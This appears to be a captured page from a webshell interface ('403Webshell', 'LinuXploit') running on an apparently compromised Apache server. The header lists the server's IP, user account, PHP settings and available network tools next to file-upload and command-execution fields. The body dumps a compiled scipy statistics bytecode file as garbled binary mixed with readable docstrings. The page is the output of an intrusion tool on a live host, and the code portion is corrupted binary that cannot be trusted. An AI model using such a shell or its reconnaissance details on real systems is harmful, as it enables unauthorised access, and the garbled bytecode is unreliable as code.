403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/stats/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/stats/__pycache__/_mstats_extras.cpython-311.pyc
�

d�c�<���dZgd�ZddlZddlmZmZmZddlmZddlm	Z	ddl
mZddl
mZmZmZmZegd	���dd
fd�Zdd
�Zegd	���dfd�Z		dd�Zgd	�dfd�Zgd	�ddfd�Zdd�Zdd�Zdd�Zdd�ZdS)zB
Additional statistics functions with support for masked arrays.

)
�compare_medians_ms�hdquantiles�hdmedian�hdquantiles_sd�idealfourths�median_cihs�mjci�mquantiles_cimj�rsh�trimmed_mean_ci�N)�float_�int_�ndarray)�MaskedArray�)�
_mstats_basic)�norm�beta�t�binom)g�?��?g�?Fc�D�d�}tj|dt���}tj|dd���}|�|jdkr||||��}n:|jdkrtd|jz���tj|||||��}tj|d�	��S)
a
    Computes quantile estimates with the Harrell-Davis method.

    The quantile estimates are calculated as a weighted linear combination
    of order statistics.

    Parameters
    ----------
    data : array_like
        Data array.
    prob : sequence, optional
        Sequence of quantiles to compute.
    axis : int or None, optional
        Axis along which to compute the quantiles. If None, use a flattened
        array.
    var : bool, optional
        Whether to return the variance of the estimate.

    Returns
    -------
    hdquantiles : MaskedArray
        A (p,) array of quantiles (if `var` is False), or a (2,p) array of
        quantiles and variances (if `var` is True), where ``p`` is the
        number of quantiles.

    See Also
    --------
    hdquantiles_sd

    c�N�tjtj|����t
������}|j}tjdt|��ft��}|dkrtj
|_|r|S|dStj|dz��t|��z}tj}t!|��D]r\}}	|||dz|	z|dzd|	z
z��}
|
dd�|
dd�z
}tj||��}||d|f<tj|||z
dz��|d|f<�s|d|d|dkf<|d|d|dkf<|r"tj
x|d|dkf<|d|dkf<|S|dS)zGComputes the HD quantiles for a 1D array. Returns nan for invalid data.�rrN���)�np�squeeze�sort�
compressed�viewr�size�empty�lenr
�nan�flat�arange�floatr�cdf�	enumerate�dot)
�data�prob�var�xsorted�n�hd�v�betacdf�i�p�_w�w�hd_means
             �</usr/lib/python3/dist-packages/scipy/stats/_mstats_extras.py�_hd_1Dzhdquantiles.<locals>._hd_1D;s����*�R�W�T�_�_�%6�%6�%;�%;�G�%D�%D�E�E�F�F���L��
�X�q��T���m�V�
,�
,���q�5�5��f�B�G��
��	��a�5�L��I�a��c�N�N�U�1�X�X�%���(���t�_�_�	6�	6�E�Q�q����Q�q�S�!�G�a��c�A�a�C�[�1�1�B��1�2�2���C�R�C�� �A��f�Q��(�(�G��B�q��s�G��f�Q����1� 4�5�5�B�q��s�G�G�"�1�:��1�d�a�i�<��"�2�;��1�d�a�i�<���	�24�&�8�B�q�$�!�)�|��r�!�T�Q�Y�,�/��I��!�u��F��copy�dtyper�r<�ndminNr�DArray 'data' must be at most two dimensional, but got data.ndim = %d�r<)�ma�arrayr
r�ndim�
ValueError�apply_along_axis�fix_invalid)r+r,�axisr-r9r4�results       r8rrs���>���<�8�D�u�F�3�3�3�D�
���E��+�+�+�A���$�)�q�.�.����a��%�%����9�q�=�=��6�8<�	�B�C�C�
C��$�V�T�4��C�@�@��
�>�&�u�-�-�-�-r:rc�R�t|dg||���}|���S)a9
    Returns the Harrell-Davis estimate of the median along the given axis.

    Parameters
    ----------
    data : ndarray
        Data array.
    axis : int, optional
        Axis along which to compute the quantiles. If None, use a flattened
        array.
    var : bool, optional
        Whether to return the variance of the estimate.

    Returns
    -------
    hdmedian : MaskedArray
        The median values.  If ``var=True``, the variance is returned inside
        the masked array.  E.g. for a 1-D array the shape change from (1,) to
        (2,).

    r)rHr-)rr)r+rHr-rIs    r8rrgs,��,��s�e�$�C�
8�
8�
8�F��>�>���r:c�N�d�}tj|dt���}tj|dd���}|�
|||��}n9|jdkrtd|jz���tj||||��}tj|d�	�����S)
a�
    The standard error of the Harrell-Davis quantile estimates by jackknife.

    Parameters
    ----------
    data : array_like
        Data array.
    prob : sequence, optional
        Sequence of quantiles to compute.
    axis : int, optional
        Axis along which to compute the quantiles. If None, use a flattened
        array.

    Returns
    -------
    hdquantiles_sd : MaskedArray
        Standard error of the Harrell-Davis quantile estimates.

    See Also
    --------
    hdquantiles

    c�$�tj|�����}t|��}tjt|��t
��}|dkrtj|_tj|��t|dz
��z}tj}t|��D]�\}}||||z|d|z
z��}	|	dd�|	dd�z
}
tj
|��}tj|
|dd�z��|dd�<|dd�xxtj|
ddd�|ddd�z��ddd�z
cc<tj|���|dz
z��||<��|S)z%Computes the std error for 1D arrays.rrNrr)rrrr#r"r
r$r%r&r'rr(r)�
zeros_like�cumsum�sqrtr-)r+r,r.r/�hdsd�vvr2r3r4r5r6�mx_s            r8�_hdsd_1Dz hdquantiles_sd.<locals>._hdsd_1D�sl���'�$�/�/�+�+�,�,����L�L���x��D�	�	�6�*�*���q�5�5���D�I�
�Y�q�\�\�E�!�A�#�J�J�
&���(���t�_�_�		3�		3�E�Q�q����Q�q�S�!�Q�q�S�'�*�*�B��1�2�2���C�R�C�� �A��-��(�(�C��i��G�C�R�C�L� 0�1�1�C����G�����H�H�H��	�!�D�D�b�D�'�G�E�Q�r�E�N�":�;�;�D�D�b�D�A�A�H�H�H��g�c�g�g�i�i�1�q�5�1�2�2�D��G�G��r:Fr;rr>Nrr@rA)	rBrCr
rrDrErFrG�ravel)r+r,rHrSr4rIs      r8rr�s���0���2�8�D�u�F�3�3�3�D�
���E��+�+�+�A�����$��"�"����9�q�=�=��6�8<�	�B�C�C�
C��$�X�t�T�1�=�=��
�>�&�u�-�-�-�3�3�5�5�5r:�皙�����?rV�TT皙�����?c�b�tj|d���}tj||||���}|�|��}tj||||���}|�|��dz
}tjd|dzz
|��}	tj||	|zz
||	|zzf��S)a�
    Selected confidence interval of the trimmed mean along the given axis.

    Parameters
    ----------
    data : array_like
        Input data.
    limits : {None, tuple}, optional
        None or a two item tuple.
        Tuple of the percentages to cut on each side of the array, with respect
        to the number of unmasked data, as floats between 0. and 1. If ``n``
        is the number of unmasked data before trimming, then
        (``n * limits[0]``)th smallest data and (``n * limits[1]``)th
        largest data are masked.  The total number of unmasked data after
        trimming is ``n * (1. - sum(limits))``.
        The value of one limit can be set to None to indicate an open interval.

        Defaults to (0.2, 0.2).
    inclusive : (2,) tuple of boolean, optional
        If relative==False, tuple indicating whether values exactly equal to
        the absolute limits are allowed.
        If relative==True, tuple indicating whether the number of data being
        masked on each side should be rounded (True) or truncated (False).

        Defaults to (True, True).
    alpha : float, optional
        Confidence level of the intervals.

        Defaults to 0.05.
    axis : int, optional
        Axis along which to cut. If None, uses a flattened version of `data`.

        Defaults to None.

    Returns
    -------
    trimmed_mean_ci : (2,) ndarray
        The lower and upper confidence intervals of the trimmed data.

    FrA)�limits�	inclusiverHr�@)
rBrC�mstats�trimr�mean�trimmed_stde�countr�ppfr)
r+rZr[�alpharH�trimmed�tmean�tstde�df�tppfs
          r8rr�s���T�8�D�u�%�%�%�D��l�4��)�$�O�O�O�G��L�L����E����F�Y�D�Q�Q�Q�E�	���t�	�	�q�	 �B��5��5��8��B���D�
�8�U�T�%�Z�'��t�E�z�)9�:�;�;�;r:c���d�}tj|d���}|jdkrtd|jz���t	j|dd���}|�|||��Stj||||��S)a�
    Returns the Maritz-Jarrett estimators of the standard error of selected
    experimental quantiles of the data.

    Parameters
    ----------
    data : ndarray
        Data array.
    prob : sequence, optional
        Sequence of quantiles to compute.
    axis : int or None, optional
        Axis along which to compute the quantiles. If None, use a flattened
        array.

    c��tj|�����}|j}tj|��|zdz�t��}tj}tj	t|��t��}tjd|dzt���|z}|d|zz
}t|��D]v\}}	|||	dz
||	z
��|||	dz
||	z
��z
}
tj|
|��}tj|
|dz��}tj||dzz
��||<�w|S)Nrr)r=g�?r)rrrr!rC�astyperrr(r"r#r
r&r)r*rO)
r+r4r/r,r2�mj�x�yr3�m�W�C1�C2s
             r8�_mjci_1Dzmjci.<locals>._mjci_1Ds%���w�t���(�(�)�)���I�������a��#�%�-�-�d�3�3���(��
�X�c�$�i�i��
(�
(���I�a��!��6�*�*�*�Q�.��
��1��H���t�_�_�	(�	(�E�Q�q����!�A�#�a��c�"�"�W�W�Q�q��s�1�Q�3�%7�%7�7�A����$���B����$��'�"�"�B��G�B��Q��J�'�'�B�q�E�E��	r:FrArr@rr>)rBrCrDrErrF)r+r,rHrsr4s     r8rr�s��� ��� �8�D�u�%�%�%�D��y�1�}�}��2�48�I�>�?�?�	?�	���E��+�+�+�A����x��a� � � ��"�8�T�4��;�;�;r:c���t|d|z
��}tjd|dzz
��}tj||dd|���}t|||���}|||zz
|||zzfS)a�
    Computes the alpha confidence interval for the selected quantiles of the
    data, with Maritz-Jarrett estimators.

    Parameters
    ----------
    data : ndarray
        Data array.
    prob : sequence, optional
        Sequence of quantiles to compute.
    alpha : float, optional
        Confidence level of the intervals.
    axis : int or None, optional
        Axis along which to compute the quantiles.
        If None, use a flattened array.

    Returns
    -------
    ci_lower : ndarray
        The lower boundaries of the confidence interval.  Of the same length as
        `prob`.
    ci_upper : ndarray
        The upper boundaries of the confidence interval.  Of the same length as
        `prob`.

    rr\r)�alphap�betaprH�rH)�minrrbr]�
mquantilesr)r+r,rcrH�z�xq�smjs       r8r	r	 sx��6
��q�5�y�!�!�E����U�2�X����A�	�	�4��a�q�t�	D�	D�	D�B�
�t�T��
%�
%�
%�C���S��L�"�q�3�w�,�'�'r:c���d�}tj|d���}|�
|||��}n9|jdkrtd|jz���tj||||��}|S)aA
    Computes the alpha-level confidence interval for the median of the data.

    Uses the Hettmasperger-Sheather method.

    Parameters
    ----------
    data : array_like
        Input data. Masked values are discarded. The input should be 1D only,
        or `axis` should be set to None.
    alpha : float, optional
        Confidence level of the intervals.
    axis : int or None, optional
        Axis along which to compute the quantiles. If None, use a flattened
        array.

    Returns
    -------
    median_cihs
        Alpha level confidence interval.

    c��tj|�����}t|��}t	|d|z
��}tt
j|dz|d����}t
j||z
|d��t
j|dz
|d��z
}|d|z
kr8|dz}t
j||z
|d��t
j|dz
|d��z
}t
j||z
dz
|d��t
j||d��z
}|dz
|z||z
z}||z
|zt||d|zz
|zz��z}|||zd|z
||dz
zz||||z
dz
zd|z
|||z
zzf}|S)Nrr\rr)
rrrr#rx�intr�_ppfr(r')	r+rcr/�k�gk�gkk�I�lambd�limss	         r8�_cihs_1Dzmedian_cihs.<locals>._cihs_1DYs����w�t���(�(�)�)����I�I���E�1�U�7�#�#����
�5��8�Q��,�,�-�-��
�Y�q��s�1�S�
!�
!�E�I�a��c�!�C�$8�$8�
8��
��%��<�<�
��F�A���1�Q�3�q��%�%��	�!�A�#�a��(<�(<�<�B��i��!��A��a��$�$�u�y��1�S�'9�'9�9��
�!�V�e�^�b�3�h�'���1���	�E�!�q��1��u�a�i�-�0�0�0���d�1�g�
��5��$�q��s�)� 3�3��d�1�Q�3�q�5�k�!�Q�u�W�d�1�Q�3�i�$7�7�9���r:FrANrr@)rBrCrDrErF)r+rcrHr�rIs     r8rrBs���.����8�D�u�%�%�%�D�����$��&�&����9�q�=�=��6�8<�	�B�C�C�
C��$�X�t�T�5�A�A���Mr:c�J�tj||���tj||���}}tj||���tj||���}}t	j||z
��tj|dz|dzz��z}dtj|��z
S)a"
    Compares the medians from two independent groups along the given axis.

    The comparison is performed using the McKean-Schrader estimate of the
    standard error of the medians.

    Parameters
    ----------
    group_1 : array_like
        First dataset.  Has to be of size >=7.
    group_2 : array_like
        Second dataset.  Has to be of size >=7.
    axis : int, optional
        Axis along which the medians are estimated. If None, the arrays are
        flattened.  If `axis` is not None, then `group_1` and `group_2`
        should have the same shape.

    Returns
    -------
    compare_medians_ms : {float, ndarray}
        If `axis` is None, then returns a float, otherwise returns a 1-D
        ndarray of floats with a length equal to the length of `group_1`
        along `axis`.

    Examples
    --------

    >>> from scipy import stats
    >>> a = [1, 2, 3, 4, 5, 6, 7]
    >>> b = [8, 9, 10, 11, 12, 13, 14]
    >>> stats.mstats.compare_medians_ms(a, b, axis=None)
    1.0693225866553746e-05

    The function is vectorized to compute along a given axis.

    >>> import numpy as np
    >>> rng = np.random.default_rng()
    >>> x = rng.random(size=(3, 7))
    >>> y = rng.random(size=(3, 8))
    >>> stats.mstats.compare_medians_ms(x, y, axis=1)
    array([0.36908985, 0.36092538, 0.2765313 ])

    References
    ----------
    .. [1] McKean, Joseph W., and Ronald M. Schrader. "A comparison of methods
       for studentizing the sample median." Communications in
       Statistics-Simulation and Computation 13.6 (1984): 751-773.

    rwrr)	rB�medianr]�stde_medianr�absrOrr()�group_1�group_2rH�med_1�med_2�std_1�std_2rps        r8rrus���d�i��T�2�2�2�B�I�g�4�4P�4P�4P�E�U��(��t�<�<�<��(��t�<�<�<�
�U�
��u�u�}������q��5�!�8�(;� <� <�<�A��t�x��{�{�?�r:c��d�}tj||����t��}|�||��Stj|||��S)aC
    Returns an estimate of the lower and upper quartiles.

    Uses the ideal fourths algorithm.

    Parameters
    ----------
    data : array_like
        Input array.
    axis : int, optional
        Axis along which the quartiles are estimated. If None, the arrays are
        flattened.

    Returns
    -------
    idealfourths : {list of floats, masked array}
        Returns the two internal values that divide `data` into four parts
        using the ideal fourths algorithm either along the flattened array
        (if `axis` is None) or along `axis` of `data`.

    c�Z�|���}t|��}|dkrtjtjgSt	|dzdzd��\}}t|��}d|z
||dz
z|||zz}||z
}d|z
||z|||dz
zz}||gS)N�g@g�������?r)rr#rr$�divmodr)r+rmr/�j�h�qlor��qups        r8�_idfzidealfourths.<locals>._idf�s����O�O������F�F���q�5�5��F�2�6�?�"��q��t�e�|�A�&�&���1���F�F����s�A�a��c�F�l�Q�q��t�V�#��
��E����s�A�a�D�j�1�Q�q��s�V�8�#���S�z�r:rw)rBrr rrF)r+rHr�s   r8rr�s]��,
�
�
��7�4�d�#�#�#�(�(��5�5�D����t�D�z�z���"�4��t�4�4�4r:c���tj|d���}|�|}ntj|dd���}|jdkrt	d���|���}t
|d���}d|d	|d
z
z|dzz}|dd�df|ddd�f|zk�d
��}|dd�df|ddd�f|z
k�d
��}||z
d|z|zzS)
a�
    Evaluates Rosenblatt's shifted histogram estimators for each data point.

    Rosenblatt's estimator is a centered finite-difference approximation to the
    derivative of the empirical cumulative distribution function.

    Parameters
    ----------
    data : sequence
        Input data, should be 1-D. Masked values are ignored.
    points : sequence or None, optional
        Sequence of points where to evaluate Rosenblatt shifted histogram.
        If None, use the data.

    FrANrr>z#The input array should be 1D only !rwg333333�?rrrVr\)rBrCrrD�AttributeErrorrar�sum)r+�pointsr/�rr��nhi�nlos       r8r
r
�s�� �8�D�u�%�%�%�D�
�~������&�u�A�6�6�6���y�A�~�~��B�C�C�C��
�
���A��T��%�%�%�A��q��u�Q�q�T�z��Q��Y�&�A�����$��<�6�$�q�q�q�&�>�A�-�-�
2�
2�1�
5�
5�C�����$��<�&��a�a�a��.�1�,�,�
1�
1�!�
4�
4�C���G��1��Q���r:)rF)rUrWrXN)rXN)N)�__doc__�__all__�numpyrr
rr�numpy.marBr�rr]�scipy.stats.distributionsrrrr�listrrrrrr	rrrr
�r:r8�<module>r�s�������������'�'�'�'�'�'�'�'�'�'������� � � � � � �%�%�%�%�%�%�:�:�:�:�:�:�:�:�:�:�:�:� �4����-�-�D�e�H.�H.�H.�H.�V����4#�d�<�<�<�0�0�t�<6�<6�<6�<6�~7B�%)�0<�0<�0<�0<�f$�O�O�$�*<�*<�*<�*<�Z 0�/�/�t�$�(�(�(�(�D0�0�0�0�f6�6�6�6�r%5�%5�%5�%5�P � � � � � r:

Youez - 2016 - github.com/yon3zu
LinuXploit